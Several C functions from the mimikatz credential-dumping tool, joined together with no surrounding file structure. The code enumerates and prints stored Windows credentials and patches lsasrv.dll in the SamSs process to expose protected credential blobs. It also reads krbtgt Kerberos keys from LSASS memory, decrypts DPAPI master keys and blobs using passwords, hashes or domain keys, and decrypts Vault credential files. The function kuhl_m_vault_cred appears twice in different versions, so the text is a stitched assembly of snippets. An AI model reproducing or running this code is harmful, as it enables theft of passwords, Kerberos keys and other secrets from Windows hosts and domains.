NTSTATUS kuhl_m_sysenv_set(int argc, wchar_t * argv[]) { NTSTATUS status; LPCWSTR szName, szGuid, szAttributes, szData; UNICODE_STRING uName, uGuid; GUID guid; LPBYTE hex; DWORD size, attributes; kull_m_string_args_byName(argc, argv, L"name", &szName, MIMIKATZ); kull_m_string_args_byName(argc, argv, L"guid", &szGuid, L"{b16b00b5-cafe-babe-0ee0-dabadabad000}"); kull_m_string_args_byName(argc, argv, L"attributes", &szAttributes, L"1"); kull_m_string_args_byName(argc, argv, L"data", &szData, L"410020004c00610020005600690065002c002000410020004c00270041006d006f00750072000000"); RtlInitUnicodeString(&uName, szName); RtlInitUnicodeString(&uGuid, szGuid); attributes = wcstoul(szAttributes, NULL, 0); status = RtlGUIDFromString(&uGuid, &guid); if(NT_SUCCESS(status)) { kprintf(L"Name : %wZ\nVendor GUID: ", &uName); kuhl_m_sysenv_display_vendorGuid(&guid); kprintf(L"\nAttributes : %08x (", attributes); kuhl_m_sysenv_display_attributes(attributes); kprintf(L")\n"); if(kull_m_string_stringToHexBuffer(szData, &hex, &size)) { kprintf(L"Length : %u\nData : ", size); kull_m_string_wprintf_hex(hex, size, 1); kprintf(L"\n\n"); status = NtSetSystemEnvironmentValueEx(&uName, &guid, hex, size, attributes); if(NT_SUCCESS(status)) kprintf(L"> OK!\n"); else PRINT_ERROR(L"NtSetSystemEnvironmentValueEx(data): 0x%08x\n", status); LocalFree(hex); } } else PRINT_ERROR(L"RtlGUIDFromString: 0x%08x\n", status); return STATUS_SUCCESS; }
void kull_m_cred_descr(DWORD level, PKULL_M_CRED_BLOB cred) { UNICODE_STRING uString; kprintf(L"%*s" L"**CREDENTIAL**\n", level << 1, L""); if(cred) { kprintf(L"%*s" L" credFlags : %08x - %u\n", level << 1, L"", cred->credFlags, cred->credFlags); kprintf(L"%*s" L" credSize : %08x - %u\n", level << 1, L"", cred->credSize, cred->credSize); kprintf(L"%*s" L" credUnk0 : %08x - %u\n\n", level << 1, L"", cred->credUnk0, cred->credUnk0); kprintf(L"%*s" L" Type : %08x - %u\n", level << 1, L"", cred->Type, cred->Type); kprintf(L"%*s" L" Flags : %08x - %u\n", level << 1, L"", cred->Flags, cred->Flags); kprintf(L"%*s" L" LastWritten : ", level << 1, L""); kull_m_string_displayFileTime(&cred->LastWritten); kprintf(L"\n"); kprintf(L"%*s" L" unkFlagsOrSize : %08x - %u\n", level << 1, L"", cred->unkFlagsOrSize, cred->unkFlagsOrSize); kprintf(L"%*s" L" Persist : %08x - %u\n", level << 1, L"", cred->Persist, cred->Persist); kprintf(L"%*s" L" AttributeCount : %08x - %u\n", level << 1, L"", cred->AttributeCount, cred->AttributeCount); kprintf(L"%*s" L" unk0 : %08x - %u\n", level << 1, L"", cred->unk0, cred->unk0); kprintf(L"%*s" L" unk1 : %08x - %u\n", level << 1, L"", cred->unk1, cred->unk1); kprintf(L"%*s" L" TargetName : %s\n", level << 1, L"", cred->TargetName); kprintf(L"%*s" L" TargetAlias : %s\n", level << 1, L"", cred->TargetAlias); kprintf(L"%*s" L" Comment : %s\n", level << 1, L"", cred->Comment); kprintf(L"%*s" L" UnkData : %s\n", level << 1, L"", cred->UnkData); kprintf(L"%*s" L" UserName : %s\n", level << 1, L"", cred->UserName); kprintf(L"%*s" L" CredentialBlob : ", level << 1, L""); uString.Length = uString.MaximumLength = (USHORT) cred->CredentialBlobSize; uString.Buffer = (PWSTR) cred->CredentialBlob; if(kull_m_string_suspectUnicodeString(&uString)) kprintf(L"%wZ", &uString); else kull_m_string_wprintf_hex(uString.Buffer, uString.Length, 1); kprintf(L"\n"); kprintf(L"%*s" L" Attributes : ", level << 1, L"", cred->AttributeCount); kull_m_cred_attributes_descr(level + 1, cred->Attributes, cred->AttributeCount); } }
NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[]) { DWORD credCount, i; PCREDENTIAL * pCredential = NULL; DWORD flags = 0; UNICODE_STRING creds; do { if(CredEnumerate(NULL, flags, &credCount, &pCredential)) { for(i = 0; i < credCount; i++) { kprintf(L"TargetName : %s / %s\n" L"UserName : %s\n" L"Comment : %s\n" L"Type : %u - %s\n" L"Credential : ", pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>", pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>", pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>", pCredential[i]->Type, (pCredential[i]->Type < CRED_TYPE_MAXIMUM) ? CredTypeToStrings[pCredential[i]->Type] : L"? (type > CRED_TYPE_MAXIMUM)" ); creds.Buffer = (PWSTR) pCredential[i]->CredentialBlob; creds.Length = creds.MaximumLength = (USHORT) pCredential[i]->CredentialBlobSize; if(kull_m_string_suspectUnicodeString(&creds)) kprintf(L"%wZ", &creds); else kull_m_string_wprintf_hex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize, 1); kprintf(L"\n\n"); } CredFree(pCredential); } flags++; } while((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5)); return STATUS_SUCCESS; }
void kull_m_key_cng_descr(DWORD level, PKULL_M_KEY_CNG_BLOB cngKey) { kprintf(L"%*s" L"**KEY (cng)**\n", level << 1, L""); if(cngKey) { kprintf(L"%*s" L" dwVersion : %08x - %u\n", level << 1, L"", cngKey->dwVersion, cngKey->dwVersion); kprintf(L"%*s" L" unk : %08x - %u\n", level << 1, L"", cngKey->unk, cngKey->unk); kprintf(L"%*s" L" dwNameLen : %08x - %u\n", level << 1, L"", cngKey->dwNameLen, cngKey->dwNameLen); kprintf(L"%*s" L" type : %08x - %u\n", level << 1, L"", cngKey->type, cngKey->type); kprintf(L"%*s" L" dwPublicPropertiesLen : %08x - %u\n", level << 1, L"", cngKey->dwPublicPropertiesLen, cngKey->dwPublicPropertiesLen); kprintf(L"%*s" L" dwPrivatePropertiesLen: %08x - %u\n", level << 1, L"", cngKey->dwPrivatePropertiesLen, cngKey->dwPrivatePropertiesLen); kprintf(L"%*s" L" dwPrivateKeyLen : %08x - %u\n", level << 1, L"", cngKey->dwPrivateKeyLen, cngKey->dwPrivateKeyLen); kprintf(L"%*s" L" unkArray[16] : ", level << 1, L""); kull_m_string_wprintf_hex(cngKey->unkArray, sizeof(cngKey->unkArray), 0); kprintf(L"\n"); kprintf(L"%*s" L" pName : ", level << 1, L""); kprintf(L"%.*s\n", cngKey->dwNameLen / sizeof(wchar_t), cngKey->pName); kprintf(L"%*s" L" pPublicProperties : ", level << 1, L""); kull_m_key_cng_properties_descr(level + 1, cngKey->pPublicProperties, cngKey->cbPublicProperties); kprintf(L"%*s" L" pPrivateProperties :\n", level << 1, L""); if(cngKey->pPrivateProperties && cngKey->dwPrivatePropertiesLen) kull_m_dpapi_blob_quick_descr(level + 1, cngKey->pPrivateProperties); /*kull_m_string_wprintf_hex(cngKey->pPrivateProperties, cngKey->dwPrivatePropertiesLen, 0);*/ kprintf(L"%*s" L" pPrivateKey :\n", level << 1, L""); if(cngKey->pPrivateKey && cngKey->dwPrivateKeyLen) kull_m_dpapi_blob_quick_descr(level + 1, cngKey->pPrivateKey); /*kull_m_string_wprintf_hex(cngKey->pPrivateKey, cngKey->dwPrivateKeyLen, 0);*/ } }
NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[]) { DWORD credCount, i; PCREDENTIAL * pCredential = NULL; DWORD flags = 0; UNICODE_STRING creds; SERVICE_STATUS_PROCESS ServiceStatusProcess; PKULL_M_MEMORY_HANDLE hMemory; KULL_M_MEMORY_HANDLE hLocalMemory = { KULL_M_MEMORY_TYPE_OWN, NULL }; KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModuleSamSrv; HANDLE hSamSs; KULL_M_MEMORY_ADDRESS aPatternMemory = { NULL, &hLocalMemory }, aPatchMemory = { NULL, &hLocalMemory }; KULL_M_MEMORY_SEARCH sMemory; PKULL_M_PATCH_GENERIC CredpCloneCredentialReference; static BOOL isPatching = FALSE; if (!isPatching && kull_m_string_args_byName(argc, argv, L"patch", NULL, NULL)) { if (CredpCloneCredentialReference = kull_m_patch_getGenericFromBuild(CredpCloneCredentialReferences, sizeof(CredpCloneCredentialReferences) / sizeof(KULL_M_PATCH_GENERIC), MIMIKATZ_NT_BUILD_NUMBER)) { aPatternMemory.address = CredpCloneCredentialReference->Search.Pattern; aPatchMemory.address = CredpCloneCredentialReference->Patch.Pattern; if (kull_m_service_getUniqueForName(L"SamSs", &ServiceStatusProcess)) { if (hSamSs = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, ServiceStatusProcess.dwProcessId)) { if (kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hSamSs, &hMemory)) { if (kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"lsasrv.dll", &iModuleSamSrv)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModuleSamSrv.DllBase; sMemory.kull_m_memoryRange.size = iModuleSamSrv.SizeOfImage; isPatching = TRUE; if (!kull_m_patch(&sMemory, &aPatternMemory, CredpCloneCredentialReference->Search.Length, &aPatchMemory, CredpCloneCredentialReference->Patch.Length, CredpCloneCredentialReference->Offsets.off0, kuhl_m_vault_cred, argc, argv, NULL)) PRINT_ERROR_AUTO(L"kull_m_patch"); isPatching = FALSE; } else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName"); kull_m_memory_close(hMemory); } } else PRINT_ERROR_AUTO(L"OpenProcess"); } else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName"); } } else { do { if (CredEnumerate(NULL, flags, &credCount, &pCredential)) { for (i = 0; i < credCount; i++) { kprintf(L"TargetName : %s / %s\n" L"UserName : %s\n" L"Comment : %s\n" L"Type : %u - %s\n" L"Credential : ", pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>", pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>", pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>", pCredential[i]->Type, (pCredential[i]->Type < CRED_TYPE_MAXIMUM) ? CredTypeToStrings[pCredential[i]->Type] : L"? (type > CRED_TYPE_MAXIMUM)" ); creds.Buffer = (PWSTR)pCredential[i]->CredentialBlob; creds.Length = creds.MaximumLength = (USHORT)pCredential[i]->CredentialBlobSize; if (kull_m_string_suspectUnicodeString(&creds)) kprintf(L"%wZ", &creds); else kull_m_string_wprintf_hex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize, 1); kprintf(L"\n\n"); } CredFree(pCredential); } flags++; } while ((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5)); } return STATUS_SUCCESS; }
NTSTATUS kuhl_m_dpapi_masterkey(int argc, wchar_t * argv[]) { PKULL_M_DPAPI_MASTERKEYS masterkeys; PBYTE buffer; PPVK_FILE_HDR pvkBuffer; DWORD szBuffer, szPvkBuffer; LPCWSTR szIn = NULL, szSid = NULL, szPassword = NULL, szHash = NULL, szSystem = NULL, szDomainpvk = NULL; BOOL isProtected = kull_m_string_args_byName(argc, argv, L"protected", NULL, NULL); PWSTR convertedSid = NULL; PSID pSid; PBYTE pHash = NULL, pSystem = NULL; DWORD cbHash = 0, cbSystem = 0; PVOID output; DWORD cbOutput; if(kull_m_string_args_byName(argc, argv, L"in", &szIn, NULL)) { kull_m_string_args_byName(argc, argv, L"sid", &szSid, NULL); kull_m_string_args_byName(argc, argv, L"password", &szPassword, NULL); kull_m_string_args_byName(argc, argv, L"hash", &szHash, NULL); kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL); kull_m_string_args_byName(argc, argv, L"domainpvk", &szDomainpvk, NULL); if(kull_m_file_readData(szIn, &buffer, &szBuffer)) { if(masterkeys = kull_m_dpapi_masterkeys_create(buffer)) { //kull_m_dpapi_masterkeys_descr(masterkeys); if(szSid) { if(ConvertStringSidToSid(szSid, &pSid)) { ConvertSidToStringSid(pSid, &convertedSid); LocalFree(pSid); } else PRINT_ERROR_AUTO(L"ConvertStringSidToSid"); } if(szHash) kull_m_string_stringToHexBuffer(szHash, &pHash, &cbHash); if(szSystem) kull_m_string_stringToHexBuffer(szSystem, &pSystem, &cbSystem); if(convertedSid) { if(masterkeys->MasterKey && masterkeys->dwMasterKeyLen) { if(szPassword) { kprintf(L"\n[masterkey] with password: %s (%s user)\n", szPassword, isProtected ? L"protected" : L"normal"); if(kull_m_dpapi_unprotect_masterkey_with_password(masterkeys->dwFlags, masterkeys->MasterKey, szPassword, convertedSid, isProtected, &output, &cbOutput)) kuhl_m_dpapi_displayInfosAndFree(output, cbOutput, NULL); else PRINT_ERROR(L"kull_m_dpapi_unprotect_masterkey_with_password\n"); } if(pHash) { kprintf(L"\n[masterkey] with hash: "); kull_m_string_wprintf_hex(pHash, cbHash, 0); if(cbHash == LM_NTLM_HASH_LENGTH) kprintf(L" (ntlm type)\n"); else if(cbHash == SHA_DIGEST_LENGTH) kprintf(L" (sha1 type)\n"); else kprintf(L" (?)\n"); if(kull_m_dpapi_unprotect_masterkey_with_userHash(masterkeys->MasterKey, pHash, cbHash, convertedSid, &output, &cbOutput)) kuhl_m_dpapi_displayInfosAndFree(output, cbOutput, NULL); else PRINT_ERROR(L"kull_m_dpapi_unprotect_masterkey_with_userHash\n"); } } if(masterkeys->BackupKey && masterkeys->dwBackupKeyLen) { if(!(masterkeys->dwFlags & 1) || (pSystem && cbSystem)) { kprintf(L"\n[backupkey] %s DPAPI_SYSTEM: ", pSystem ? L"with" : L"without"); if(pSystem) kull_m_string_wprintf_hex(pSystem, cbSystem, 0); kprintf(L"\n"); if(kull_m_dpapi_unprotect_backupkey_with_secret(masterkeys->dwFlags, masterkeys->BackupKey, convertedSid, pSystem, cbSystem, &output, &cbOutput)) kuhl_m_dpapi_displayInfosAndFree(output, cbOutput, NULL); else PRINT_ERROR(L"kull_m_dpapi_unprotect_backupkey_with_secret\n"); } } LocalFree(convertedSid); } if(pHash) LocalFree(pHash); if(pSystem) LocalFree(pSystem); if(szDomainpvk && masterkeys->DomainKey && masterkeys->dwDomainKeyLen) { kprintf(L"\n[domainkey] with RSA private key\n"); if(kull_m_file_readData(szDomainpvk, (PBYTE *) &pvkBuffer, &szPvkBuffer)) { if(kull_m_dpapi_unprotect_domainkey_with_key(masterkeys->DomainKey, (PBYTE) pvkBuffer + sizeof(PVK_FILE_HDR), pvkBuffer->cbPvk, &output, &cbOutput, &pSid)) kuhl_m_dpapi_displayInfosAndFree(output, cbOutput, pSid); else PRINT_ERROR(L"kull_m_dpapi_unprotect_domainkey_with_key\n"); LocalFree(pvkBuffer); } } kull_m_dpapi_masterkeys_delete(masterkeys); } LocalFree(buffer); } } else PRINT_ERROR(L"Input masterkeys file needed (/in:file)\n"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_dpapi_unprotect(int argc, wchar_t * argv[]) { DATA_BLOB dataIn, dataOut, dataEntropy = {0, NULL}; PKULL_M_DPAPI_BLOB blob; PCWSTR szEntropy, outfile, infile, szMasterkey, szPassword = NULL; PWSTR description = NULL; CRYPTPROTECT_PROMPTSTRUCT promptStructure = {sizeof(CRYPTPROTECT_PROMPTSTRUCT), CRYPTPROTECT_PROMPT_ON_PROTECT | CRYPTPROTECT_PROMPT_ON_UNPROTECT | CRYPTPROTECT_PROMPT_STRONG, NULL, MIMIKATZ}, *pPrompt; DWORD flags = 0; UNICODE_STRING uString; BOOL statusDecrypt = FALSE; PBYTE masterkey = NULL; DWORD masterkeyLen = 0; if(kull_m_string_args_byName(argc, argv, L"entropy", &szEntropy, NULL)) kull_m_string_stringToHexBuffer(szEntropy, &dataEntropy.pbData, &dataEntropy.cbData); if(kull_m_string_args_byName(argc, argv, L"machine", NULL, NULL)) flags |= CRYPTPROTECT_LOCAL_MACHINE; pPrompt = kull_m_string_args_byName(argc, argv, L"prompt", NULL, NULL) ? &promptStructure : NULL; if(kull_m_string_args_byName(argc, argv, L"masterkey", &szMasterkey, NULL)) kull_m_string_stringToHexBuffer(szMasterkey, &masterkey, &masterkeyLen); kull_m_string_args_byName(argc, argv, L"password", &szPassword, NULL); kprintf(L"\nflags : "); kull_m_dpapi_displayProtectionFlags(flags); kprintf(L"\n"); kprintf(L"prompt flags: "); if(pPrompt) kull_m_dpapi_displayPromptFlags(pPrompt->dwPromptFlags); kprintf(L"\n"); kprintf(L"entropy : "); kull_m_string_wprintf_hex(dataEntropy.pbData, dataEntropy.cbData, 0); kprintf(L"\n"); kprintf(L"masterkey : "); kull_m_string_wprintf_hex(masterkey, masterkeyLen, 0); kprintf(L"\n"); kprintf(L"password : %s\n\n", szPassword ? szPassword : L""); if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL)) { if(kull_m_file_readData(infile, &dataIn.pbData, &dataIn.cbData)) { if(blob = kull_m_dpapi_blob_create(dataIn.pbData)) { kull_m_dpapi_blob_descr(blob); if(masterkey && masterkeyLen) statusDecrypt = kull_m_dpapi_unprotect_blob(blob, masterkey, masterkeyLen, dataEntropy.pbData, dataEntropy.cbData, szPassword, (LPVOID *) &dataOut.pbData, &dataOut.cbData); else statusDecrypt = CryptUnprotectData(&dataIn, &description, &dataEntropy, NULL, pPrompt, 0, &dataOut); if(statusDecrypt) { if(description) { kprintf(L"description : %s\n", description); LocalFree(description); } if(kull_m_string_args_byName(argc, argv, L"out", &outfile, NULL)) { if(kull_m_file_writeData(outfile, dataOut.pbData, dataOut.cbData)) kprintf(L"Write to file \'%s\' is OK\n", outfile); } else { uString.Length = uString.MaximumLength = (USHORT) dataOut.cbData; uString.Buffer = (PWSTR) dataOut.pbData; kprintf(L"data - "); if((uString.Length <= USHRT_MAX) && (kull_m_string_suspectUnicodeString(&uString))) kprintf(L"text : %s", dataOut.pbData); else { kprintf(L"hex : "); kull_m_string_wprintf_hex(dataOut.pbData, dataOut.cbData, 1 | (16 << 16)); } kprintf(L"\n"); } LocalFree(dataOut.pbData); } else if(!masterkey) PRINT_ERROR_AUTO(L"CryptUnprotectData"); kull_m_dpapi_blob_delete(blob); } LocalFree(dataIn.pbData); } } if(dataEntropy.pbData) LocalFree(dataEntropy.pbData); if(masterkey) LocalFree(masterkey); return STATUS_SUCCESS; }
void kuhl_m_sekurlsa_krbtgt_keys(PVOID addr, PCWSTR prefix) { DWORD sizeForCreds, i; KIWI_KRBTGT_CREDENTIALS_6 tmpCred6, *creds6; KIWI_KRBTGT_CREDENTIALS_5 tmpCred5, *creds5; KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aLsass = {addr, cLsass.hLsassMem}, aLocal = {&tmpCred6, &hLocalMemory}; if(addr) { kprintf(L"\n%s krbtgt: ", prefix); if(cLsass.osContext.MajorVersion < 6) { aLocal.address = &tmpCred5; if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(KIWI_KRBTGT_CREDENTIALS_5) - sizeof(KIWI_KRBTGT_CREDENTIAL_5))) { sizeForCreds = sizeof(KIWI_KRBTGT_CREDENTIALS_5) + (tmpCred5.cbCred - 1) * sizeof(KIWI_KRBTGT_CREDENTIAL_5); if(creds5 = (PKIWI_KRBTGT_CREDENTIALS_5) LocalAlloc(LPTR, sizeForCreds)) { aLocal.address = creds5; if(kull_m_memory_copy(&aLocal, &aLsass, sizeForCreds)) { kprintf(L"%u credentials\n", creds5->cbCred); for(i = 0; i < creds5->cbCred; i++) { kprintf(L"\t * %s : ", kuhl_m_kerberos_ticket_etype(PtrToLong(creds5->credentials[i].type))); aLsass.address = creds5->credentials[i].key; if(aLocal.address = LocalAlloc(LPTR, PtrToUlong(creds5->credentials[i].size))) { if(kull_m_memory_copy(&aLocal, &aLsass, PtrToUlong(creds5->credentials[i].size))) kull_m_string_wprintf_hex(aLocal.address, PtrToUlong(creds5->credentials[i].size), 0); LocalFree(aLocal.address); } kprintf(L"\n"); } } LocalFree(creds5); } } } else { aLocal.address = &tmpCred6; if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(KIWI_KRBTGT_CREDENTIALS_6) - sizeof(KIWI_KRBTGT_CREDENTIAL_6))) { sizeForCreds = sizeof(KIWI_KRBTGT_CREDENTIALS_6) + (tmpCred6.cbCred - 1) * sizeof(KIWI_KRBTGT_CREDENTIAL_6); if(creds6 = (PKIWI_KRBTGT_CREDENTIALS_6) LocalAlloc(LPTR, sizeForCreds)) { aLocal.address = creds6; if(kull_m_memory_copy(&aLocal, &aLsass, sizeForCreds)) { kprintf(L"%u credentials\n", creds6->cbCred); for(i = 0; i < creds6->cbCred; i++) { kprintf(L"\t * %s : ", kuhl_m_kerberos_ticket_etype(PtrToLong(creds6->credentials[i].type))); aLsass.address = creds6->credentials[i].key; if(aLocal.address = LocalAlloc(LPTR, PtrToUlong(creds6->credentials[i].size))) { if(kull_m_memory_copy(&aLocal, &aLsass, PtrToUlong(creds6->credentials[i].size))) kull_m_string_wprintf_hex(aLocal.address, PtrToUlong(creds6->credentials[i].size), 0); LocalFree(aLocal.address); } kprintf(L"\n"); } } LocalFree(creds6); } } } } }
void kuhl_m_sid_displayMessage(PLDAP ld, PLDAPMessage pMessage) { PLDAPMessage pEntry; PWCHAR pAttribute, name, domain; BerElement* pBer = NULL; PBERVAL *pBerVal; DWORD i; SID_NAME_USE nameUse; for(pEntry = ldap_first_entry(ld, pMessage); pEntry; pEntry = ldap_next_entry(ld, pEntry)) { kprintf(L"\n%s\n", ldap_get_dn(ld, pEntry)); for(pAttribute = ldap_first_attribute(ld, pEntry, &pBer); pAttribute; pAttribute = ldap_next_attribute(ld, pEntry, pBer)) { kprintf(L" %s: ", pAttribute); if(pBerVal = ldap_get_values_len(ld, pEntry, pAttribute)) { if( (_wcsicmp(pAttribute, L"name") == 0) || (_wcsicmp(pAttribute, L"sAMAccountName") == 0) ) { kprintf(L"%*S\n", pBerVal[0]->bv_len, pBerVal[0]->bv_val); } else if((_wcsicmp(pAttribute, L"objectSid") == 0)) { kull_m_string_displaySID(pBerVal[0]->bv_val); kprintf(L"\n"); } else if((_wcsicmp(pAttribute, L"objectGUID") == 0)) { kull_m_string_displayGUID((LPGUID) pBerVal[0]->bv_val); kprintf(L"\n"); } else { for(i = 0; pBerVal[i]; i++) { kprintf(L"\n [%u] ", i); if((_wcsicmp(pAttribute, L"sIDHistory") == 0)) { kull_m_string_displaySID(pBerVal[i]->bv_val); if(kull_m_token_getNameDomainFromSID(pBerVal[i]->bv_val, &name, &domain, &nameUse, NULL)) { kprintf(L" ( %s -- %s\\%s )", kull_m_token_getSidNameUse(nameUse), domain, name); LocalFree(name); LocalFree(domain); } } else kull_m_string_wprintf_hex(pBerVal[i]->bv_val, pBerVal[i]->bv_len, 1); } kprintf(L"\n"); } ldap_value_free_len(pBerVal); } ldap_memfree(pAttribute); } if(pBer) ber_free(pBer, 0); } }
NTSTATUS kuhl_m_dpapi_vault(int argc, wchar_t * argv[]) { PCWSTR inFilePolicy, inFileCred; PVOID filePolicy, fileCred, out; DWORD szFilePolicy, szFileCred, szOut, len, i, mode = CRYPT_MODE_CBC; BYTE aes128[AES_128_KEY_SIZE], aes256[AES_256_KEY_SIZE]; PKULL_M_CRED_VAULT_POLICY vaultPolicy; PKULL_M_CRED_VAULT_CREDENTIAL vaultCredential; PKULL_M_CRED_VAULT_CREDENTIAL_ATTRIBUTE attribute; PKULL_M_CRED_VAULT_CLEAR clear; PVOID buffer; BOOL isAttr; HCRYPTPROV hProv; HCRYPTKEY hKey; if(kull_m_string_args_byName(argc, argv, L"cred", &inFileCred, NULL)) { if(kull_m_file_readData(inFileCred, (PBYTE *) &fileCred, &szFileCred)) { if(vaultCredential = kull_m_cred_vault_credential_create(fileCred)) { kull_m_cred_vault_credential_descr(0, vaultCredential); if(kull_m_string_args_byName(argc, argv, L"policy", &inFilePolicy, NULL)) { if(kull_m_file_readData(inFilePolicy, (PBYTE *) &filePolicy, &szFilePolicy)) { if(vaultPolicy = kull_m_cred_vault_policy_create(filePolicy)) { kull_m_cred_vault_policy_descr(0, vaultPolicy); if(kuhl_m_dpapi_unprotect_raw_or_blob(vaultPolicy->key->KeyBlob, vaultPolicy->key->dwKeyBlob, NULL, argc, argv, NULL, 0, &out, &szOut, L"Decrypting Policy Keys:\n")) { if(kull_m_cred_vault_policy_key(out, szOut, aes128, aes256)) { kprintf(L" AES128 key: "); kull_m_string_wprintf_hex(aes128, AES_128_KEY_SIZE, 0); kprintf(L"\n"); kprintf(L" AES256 key: "); kull_m_string_wprintf_hex(aes256, AES_256_KEY_SIZE, 0); kprintf(L"\n\n"); if(CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { for(i = 0; i < vaultCredential->__cbElements; i++) { if(attribute = vaultCredential->attributes[i]) { kprintf(L" > Attribute %u : ", attribute->id); if(attribute->data && (len = attribute->szData)) { if(buffer = LocalAlloc(LPTR, len)) { RtlCopyMemory(buffer, attribute->data, len); if(kuhl_m_dpapi_vault_key_type(attribute, hProv, aes128, aes256, &hKey, &isAttr)) { if(CryptDecrypt(hKey, 0, TRUE, 0, (PBYTE) buffer, &len)) { if(isAttr) { kull_m_string_wprintf_hex(buffer, len, 0); } else { kprintf(L"\n"); if(!attribute->id || (attribute->id == 100)) { if(clear = kull_m_cred_vault_clear_create(buffer)) { kull_m_cred_vault_clear_descr(1, clear); kull_m_cred_vault_clear_delete(clear); } } else kull_m_string_wprintf_hex(buffer, len, 1 | (16 << 16)); kprintf(L"\n"); } } else PRINT_ERROR_AUTO(L"CryptDecrypt"); } LocalFree(buffer); } } kprintf(L"\n"); } } CryptReleaseContext(hProv, 0); } } LocalFree(out); } kull_m_cred_vault_policy_delete(vaultPolicy); } LocalFree(filePolicy); } else PRINT_ERROR_AUTO(L"kull_m_file_readData (policy)"); } kull_m_cred_vault_credential_delete(vaultCredential); } LocalFree(fileCred); } else PRINT_ERROR_AUTO(L"kull_m_file_readData (cred)"); } else PRINT_ERROR(L"Input Cred file needed (/cred:file)\n"); return STATUS_SUCCESS; }